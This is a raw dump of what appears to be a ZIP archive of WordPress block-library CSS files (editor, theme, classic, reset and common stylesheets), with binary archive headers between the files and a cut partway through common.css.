.components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{margin-bottom:0}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0}.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search :where(.wp-block-search__button){align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__inspector-controls .components-base-control{margin-bottom:0}.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.is-transient{position:relative}.wp-block-site-logo.is-transient img{opacity:.3}.wp-block-site-logo.is-transient .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-media-replace-container{position:relative}.block-library-site-logo__inspector-media-replace-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-social-link:hover{transform:none}:root :where(.wp-block-social-links),:root :where(.wp-block-social-links.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link){padding:0}:root :where(.wp-block-social-links__social-placeholder .wp-social-link){padding:.25em}:root :where(.wp-block-social-links.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link){padding-left:.6666666667em;padding-right:.6666666667em}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;padding-left:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.wp-block-social-links .block-list-appender{position:static}.wp-block-social-links .block-list-appender .block-editor-inserter{font-size:inherit}.wp-block-social-links .block-list-appender .block-editor-button-block-appender{font-size:inherit;height:1.5em;padding:0;width:1.5em}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}.wp-block-tag-cloud .wp-block-tag-cloud{border:none;border-radius:inherit;margin:0;padding:0}.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{outline-color:var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline:after{border:none}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:-4px;padding:16px 0;position:sticky;top:0;transform:translateY(-4px);z-index:2}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.block-editor-block-settings-menu__popover.is-expanded{overflow-y:scroll}.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{height:100%}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr;grid-gap:12px;min-width:280px}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-template-columns:1fr 1fr;min-width:480px}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{margin-bottom:0}.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-right-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{pointer-events:none}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.wp-block-post-featured-image.is-transient{position:relative}.wp-block-post-featured-image.is-transient img{opacity:.3}.wp-block-post-featured-image.is-transient .components-spinner{position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}:root .editor-styles-wrapper .has-very-light-gray-background-color{background-color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-background-color{background-color:#313131}:root .editor-styles-wrapper .has-very-light-gray-color{color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-color{color:#313131}:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .editor-styles-wrapper .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .editor-styles-wrapper .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .editor-styles-wrapper .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .editor-styles-wrapper .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .editor-styles-wrapper .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}:where(.editor-styles-wrapper) .has-regular-font-size{font-size:16px}:where(.editor-styles-wrapper) .has-larger-font-size{font-size:42px}:where(.editor-styles-wrapper) iframe:not([frameborder]){border:0}PK1Xd[��
��� dist/block-library/theme-rtl.cssnu�[���.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}

.wp-block-code{
  border:1px solid #ccc;
  border-radius:4px;
  font-family:Menlo,Consolas,monaco,monospace;
  padding:.8em 1em;
}

.wp-block-embed :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed :where(figcaption){
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}

.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}

:root :where(.wp-block-image figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme :root :where(.wp-block-image figcaption){
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}

.wp-block-pullquote{
  border-bottom:4px solid;
  border-top:4px solid;
  color:currentColor;
  margin-bottom:1.75em;
}
.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  text-transform:uppercase;
}

.wp-block-quote{
  border-right:.25em solid;
  margin:0 0 1.75em;
  padding-right:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote:where(.has-text-align-right){
  border-left:.25em solid;
  border-right:none;
  padding-left:1em;
  padding-right:0;
}
.wp-block-quote:where(.has-text-align-center){
  border:none;
  padding-right:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){
  border:none;
}

.wp-block-search .wp-block-search__label{
  font-weight:700;
}

.wp-block-search__button{
  border:1px solid #ccc;
  padding:.375em .625em;
}

:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}

.wp-block-separator.has-css-opacity{
  opacity:.4;
}

.wp-block-separator{
  border:none;
  border-bottom:2px solid;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-separator.has-alpha-channel-opacity{
  opacity:1;
}
.wp-block-separator:not(.is-style-wide):not(.is-style-dots){
  width:100px;
}
.wp-block-separator.has-background:not(.is-style-dots){
  border-bottom:none;
  height:1px;
}
.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){
  height:2px;
}

.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}

:root :where(.wp-block-template-part.has-background){
  margin-bottom:0;
  margin-top:0;
  padding:1.25em 2.375em;
}PK1Xd[qf�HNN*dist/block-library/editor-elements.min.cssnu�[���.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}PK1Xd[�[�"dist/block-library/classic-rtl.cssnu�[���.wp-block-button__link{
  background-color:#32373c;
  border-radius:9999px;
  box-shadow:none;
  color:#fff;
  font-size:1.125em;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-file__button{
  background:#32373c;
  color:#fff;
}PK1Xd[ZK�YY&dist/block-library/editor-elements.cssnu�[���.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}PK1Xd[�#��w
w
$dist/block-library/theme-rtl.min.cssnu�[���.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:.25em solid;border-right:none;padding-left:1em;padding-right:0}.wp-block-quote:where(.has-text-align-center){border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}:root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em}PK1Xd[P�š�� dist/block-library/reset-rtl.cssnu�[���html :where(.editor-styles-wrapper){
  background:#fff;
  color:initial;
  font-family:serif;
  font-size:medium;
  line-height:normal;
}
:where(.editor-styles-wrapper) .wp-align-wrapper{
  max-width:840px;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{
  max-width:none;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{
  max-width:840px;
}
:where(.editor-styles-wrapper) a{
  transition:none;
}
:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{
  background:inherit;
  font-family:monospace;
  font-size:inherit;
  margin:0;
  padding:0;
}
:where(.editor-styles-wrapper) p{
  font-size:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{
  box-sizing:border-box;
  list-style-type:revert;
  margin:revert;
  padding:revert;
}
:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{
  margin:revert;
}
:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{
  margin:revert;
}
:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{
  list-style-type:revert;
}
:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{
  color:revert;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) select{
  -webkit-appearance:revert;
  background:revert;
  border:revert;
  border-radius:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  font-family:system-ui;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
  max-width:revert;
  min-height:revert;
  outline:revert;
  padding:revert;
  text-shadow:revert;
  transform:revert;
  vertical-align:revert;
}
:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{
  background-color:revert;
  background-image:revert;
  border-color:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  text-shadow:revert;
  transform:revert;
}PK1Xd[�[�dist/block-library/classic.cssnu�[���.wp-block-button__link{
  background-color:#32373c;
  border-radius:9999px;
  box-shadow:none;
  color:#fff;
  font-size:1.125em;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-file__button{
  background:#32373c;
  color:#fff;
}PK1Xd[@��t
t
 dist/block-library/theme.min.cssnu�[���.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote:where(.has-text-align-center){border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}:root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em}PK1Xd[�a		dist/block-library/common.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
